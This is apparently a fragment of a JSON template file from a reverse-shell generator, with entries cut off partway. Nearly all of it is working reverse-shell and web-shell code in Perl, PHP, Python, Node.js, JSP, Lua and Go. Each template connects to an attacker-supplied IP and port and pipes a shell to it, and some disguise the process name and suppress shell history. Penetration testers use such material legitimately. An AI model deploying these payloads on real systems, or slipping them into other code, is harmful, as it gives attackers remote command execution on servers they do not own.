"command":`#!/usr/bin/perl -w\n# perl-reverse-shell - A Reverse Shell implementation in PERL\n# Copyright (C) 2006 pentestmonkey@pentestmonkey.net\n#\n# This tool may be used for legal purposes only. Users take full responsibility\n# for any actions performed using this tool. The author accepts no liability\n# for damage caused by this tool. If these terms are not acceptable to you, then\n# do not use this tool.\n#\n# In all other respects the GPL version 2 applies:\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2 as\n# published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n# This tool may be used for legal purposes only. Users take full responsibility\n# for any actions performed using this tool. If these terms are not acceptable to\n# you, then do not use this tool.\n#\n# You are encouraged to send comments, improvements or suggestions to\n# me at pentestmonkey@pentestmonkey.net\n#\n# Description\n# -----------\n# This script will make an outbound TCP connection to a hardcoded IP and port.\n# The recipient will be given a shell running as the current user (apache normally).\n#\n\nuse strict;\nuse Socket;\nuse FileHandle;\nuse POSIX;\nmy $VERSION = "1.0";\n\n# Where to send the reverse shell. Change these.\nmy $ip = '{ip}';\nmy $port = {port};\n\n# Options\nmy $daemon = 1;\nmy $auth = 0; # 0 means authentication is disabled and any \n # source IP can access the reverse shell\nmy $authorised_client_pattern = qr(^127\\.0\\.0\\.1$);\n\n# Declarations\nmy $global_page = "";\nmy $fake_process_name = "/usr/sbin/apache";\n\n# Change the process name to be less conspicious\n$0 = "[httpd]";\n\n# Authenticate based on source IP address if required\nif (defined($ENV{'REMOTE_ADDR'})) {\n cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");\n\n if ($auth) {\n unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {\n cgiprint("ERROR: Your client isn't authorised to view this page");\n cgiexit();\n }\n }\n} elsif ($auth) {\n cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");\n cgiexit(0);\n}\n\n# Background and dissociate from parent process if required\nif ($daemon) {\n my $pid = fork();\n if ($pid) {\n cgiexit(0); # parent exits\n }\n\n setsid();\n chdir('/');\n umask(0);\n}\n\n# Make TCP connection for reverse shell\nsocket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));\nif (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {\n cgiprint("Sent reverse shell to $ip:$port");\n cgiprintpage();\n} else {\n cgiprint("Couldn't open reverse shell to $ip:$port: $!");\n cgiexit(); \n}\n\n# Redirect STDIN, STDOUT and STDERR to the TCP connection\nopen(STDIN, ">&SOCK");\nopen(STDOUT,">&SOCK");\nopen(STDERR,">&SOCK");\n$ENV{'HISTFILE'} = '/dev/null';\nsystem("w;uname -a;id;pwd");\nexec({"{shell}"} ($fake_process_name, "-i"));\n\n# Wrapper around print\nsub cgiprint {\n my $line = shift;\n$line .= "<p>\\n";\n$global_page .= $line;\n}\n\n# Wrapper around exit\nsub cgiexit {\n cgiprintpage();\n exit 0; # 0 to ensure we don't give a 500 response.\n}\n\n# Form HTTP response using all the messages gathered by cgiprint so far\nsub cgiprintpage {\n print "Content-Length: " . length($global_page) . "\\r\nConnection: close\\r\nContent-Type: text\\/html\\r\\n\\r\\n" . $global_page;\n}\n`,
"command":"<?php\n// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php\n// Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = '{ip}';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'uname -a; w; id; {shell} -i';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\n\t\n\tif ($pid == -1) {\n\t\tprintit(\"ERROR: Can't fork\");\n\t\texit(1);\n\t}\n\t\n\tif ($pid) {\n\t\texit(0); // Parent exits\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit(\"Error: Can't setsid()\");\n\t\texit(1);\n\t}\n\n\t$daemon = 1;\n} else {\n\tprintit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"/\");\n\numask(0);\n\n// Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit(\"$errstr ($errno)\");\n\texit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), // stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), // stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") // stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n\tprintit(\"ERROR: Can't spawn shell\");\n\texit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit(\"ERROR: Shell connection terminated\");\n\t\tbreak;\n\t}\n\n\tif (feof($pipes[1])) {\n\t\tprintit(\"ERROR: Shell process terminated\");\n\t\tbreak;\n\t}\n\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit(\"SOCK READ\");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit(\"SOCK: $input\");\n\t\tfwrite($pipes[0], $input);\n\t}\n\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit(\"STDOUT READ\");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit(\"STDOUT: $input\");\n\t\tfwrite($sock, $input);\n\t}\n\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit(\"STDERR READ\");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit(\"STDERR: $input\");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint \"$string\\n\";\n\t}\n}\n\n?>",
"meta":["linux","windows","mac"]
},
{
"name":"PHP Ivan Sincek",
"command":"<?php\n// Copyright (c) 2020 Ivan Sincek\n// v2.3\n// Requires PHP v5.0.0 or greater.\n// Works on Linux OS, macOS, and Windows OS.\n// See the original script at https://github.com/pentestmonkey/php-reverse-shell.\nclass Shell {\n private $addr = null;\n private $port = null;\n private $os = null;\n private $shell = null;\n private $descriptorspec = array(\n 0 => array(\'pipe\', \'r\'), // shell can read from STDIN\n 1 => array(\'pipe\', \'w\'), // shell can write to STDOUT\n 2 => array(\'pipe\', \'w\') // shell can write to STDERR\n );\n private $buffer = 1024; // read/write buffer size\n private $clen = 0; // command length\n private $error = false; // stream read/write error\n public function __construct($addr, $port) {\n $this->addr = $addr;\n $this->port = $port;\n }\n private function detect() {\n $detected = true;\n if (stripos(PHP_OS, \'LINUX\') !== false) { // same for macOS\n $this->os = \'LINUX\';\n $this->shell = \'{shell}\';\n } else if (stripos(PHP_OS, \'WIN32\') !== false || stripos(PHP_OS, \'WINNT\') !== false || stripos(PHP_OS, \'WINDOWS\') !== false) {\n $this->os = \'WINDOWS\';\n $this->shell = \'cmd.exe\';\n } else {\n $detected = false;\n echo \"SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n\";\n }\n return $detected;\n }\n private function daemonize() {\n $exit = false;\n if (!function_exists(\'pcntl_fork\')) {\n echo \"DAEMONIZE: pcntl_fork() does not exists, moving on...\\n\";\n } else if (($pid = @pcntl_fork()) < 0) {\n echo \"DAEMONIZE: Cannot fork off the parent process, moving on...\\n\";\n } else if ($pid > 0) {\n $exit = true;\n echo \"DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n\";\n } else if (posix_setsid() < 0) {\n // once daemonized you will actually no longer see the script\'s dump\n echo \"DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n\";\n } else {\n echo \"DAEMONIZE: Completed successfully!\\n\";\n }\n return $exit;\n }\n private function settings() {\n @error_reporting(0);\n @set_time_limit(0); // do not impose the script execution time limit\n @umask(0); // set the file/directory permissions - 666 for files and 777 for directories\n }\n private function dump($data) {\n $data = str_replace(\'<\', \'<\', $data);\n $data = str_replace(\'>\', \'>\', $data);\n echo $data;\n }\n private function read($stream, $name, $buffer) {\n if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream\n $this->error = true; // set global error flag\n echo \"STRM_ERROR: Cannot read from ${name}, script will now exit...\\n\";\n }\n return $data;\n }\n private function write($stream, $name, $data) {\n if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream\n $this->error = true; // set global error flag\n echo \"STRM_ERROR: Cannot write to ${name}, script will now exit...\\n\";\n}\nreturn$bytes;\n}\n// read/write method for non-blocking streams\n private function rw($input, $output, $iname, $oname) {\n while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {\n if ($this->os === \'WINDOWS\' && $oname === \'STDIN\') { $this->clen += strlen($data); } // calculate the command length\n $this->dump($data); // script\'s dump\n }\n }\n // read/write method for blocking streams (e.g. for STDOUT and STDE
"command":"export RHOST=\"{ip}\";export RPORT={port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",
"command":"export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",
"command":"(function(){\r\n var net = require(\"net\"),\r\n cp = require(\"child_process\"),\r\n sh = cp.spawn(\"\{shell}\", []);\r\n var client = new net.Socket();\r\n client.connect({port}, \"{ip}\", function(){\r\n client.pipe(sh.stdin);\r\n sh.stdout.pipe(client);\r\n sh.stderr.pipe(client);\r\n });\r\n return \/a\/; \/\/ Prevents the Node.js application from crashing\r\n})();",
"command":"<%\r\n \/*\r\n * Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.\r\n * If it cannot connect, an HTML will prompt and you can input commands (sh\/cmd) there and it will prompts the output in the HTML.\r\n * Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button \"send\" is clicked, it will try to connect to the reverse shell again (apart from executing \r\n * the command specified in the HTML form). This is to avoid to keep it simple.\r\n *\/\r\n%>\r\n\r\n<%@page import=\"java.lang.*\"%>\r\n<%@page import=\"java.io.*\"%>\r\n<%@page import=\"java.net.*\"%>\r\n<%@page import=\"java.util.*\"%>\r\n\r\n<html>\r\n<head>\r\n <title>jrshell<\/title>\r\n<\/head>\r\n<body>\r\n<form METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">\r\n <input TYPE=\"text\" NAME=\"shell\">\r\n <input TYPE=\"submit\" VALUE=\"Send\">\r\n<\/form>\r\n<pre>\r\n<%\r\n \/\/ Define the OS\r\n String shellPath = null;\r\n try\r\n {\r\n if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1) {\r\n shellPath = new String(\"\/bin\/sh\");\r\n } else {\r\n shellPath = new String(\"cmd.exe\");\r\n }\r\n } catch( Exception e ){}\r\n \/\/ INNER HTML PART\r\n if (request.getParameter(\"shell\") != null) {\r\n out.println(\"Command: \" + request.getParameter(\"shell\") + \"\\n<BR>\");\r\n Process p;\r\n if (shellPath.equals(\"cmd.exe\"))\r\n p = Runtime.getRuntime().exec(\"cmd.exe \/c \" + request.getParameter(\"shell\"));\r\n else\r\n p = Runtime.getRuntime().exec(\"\/bin\/sh -c \" + request.getParameter(\"shell\"));\r\n OutputStream os = p.getOutputStream();\r\n InputStream in = p.getInputStream();\r\n DataInputStream dis = new DataInputStream(in);\r\n String disr = dis.readLine();\r\n while ( disr != null ) {\r\n out.println(disr);\r\n disr = dis.readLine();\r\n }\r\n }\r\n \/\/ TCP PORT PART\r\n class StreamConnector extends Thread\r\n {\r\n InputStream wz;\r\n OutputStream yr;\r\n StreamConnector( InputStream wz, OutputStream yr ) {\r\n this.wz = wz;\r\n this.yr = yr;\r\n }\r\n public void run()\r\n {\r\n BufferedReader r = null;\r\n BufferedWriter w = null;\r\n try\r\n {\r\n r = new BufferedReader(new InputStreamReader(wz));\r\n w = new BufferedWriter(new OutputStreamWriter(yr));\r\n char buffer[] = new char[8192];\r\n int length;\r\n while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )\r\n {\r\n w.write( buffer, 0, length );\r\n w.flush();\r\n }\r\n } catch( Exception e ){}\r\n try\r\n {\r\n if( r != null )\r\n r.close();\r\n if( w != null )\r\n w.close();\r\n } catch( Exception e ){}\r\n }\r\n }\r\n \r\n try {\r\n Socket socket = new Socket( \"{ip}\", {port} ); \/\/ Replace with wanted ip and port\r\n Process process = Runtime.getRuntime().exec( shellPath );\r\n new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();\r\n new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();\r\n out.println(\"port opened on \" + socket);\r\n } catch( Exception e ) {}\r\n%>\r\n<\/pre>\r\n<\/body>\r\n<\/html>",
"command":"lua5.1 -e 'local host, port = \"{ip}\", {port} local socket = require(\"socket\") local tcp = socket.tcp() local io = require(\"io\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'",
"meta":["linux","windows"]
},
{
"name":"Golang",
"command":"echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"{ip}:{port}\");cmd:=exec.Command(\"{shell}\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go",
